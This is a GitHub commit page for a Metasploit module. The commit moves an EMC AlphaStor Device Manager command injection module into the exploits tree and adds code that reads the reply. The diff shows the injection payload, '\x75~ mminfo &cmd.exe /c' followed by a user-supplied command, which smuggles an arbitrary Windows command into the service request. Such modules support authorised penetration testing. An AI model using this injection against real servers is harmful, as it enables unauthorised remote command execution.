Skip to content

Commit d4a8b7e

Browse files
committed
Move to exploits
1 parent 892f72e commit d4a8b7e

File tree

1 file changed

+5
-1
lines changed

1 file changed

+5
-1
lines changed

modules/auxiliary/admin/emc/alphastor_devicemanager_75_injection.rb renamed to modules/exploits/windows/emc/alphastor_device_manager_exec.rb

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -37,7 +37,6 @@ def initialize(info = {})
3737

3838
def run
3939
connect
40-
4140
padding = Rex::Text.rand_text_alpha_upper(512)
4241

4342
packet = "\x75~ mminfo &cmd.exe /c #{datastore['CMD']} #{padding}"
@@ -46,6 +45,11 @@ def run
4645

4746
sock.put(packet)
4847

48+
res = sock.get_once
49+
if res
50+
print_status("#{Rex::Text.to_hex_dump(res)}")
51+
end
52+
4953
disconnect
5054
end
5155

0 commit comments

Comments
 (0)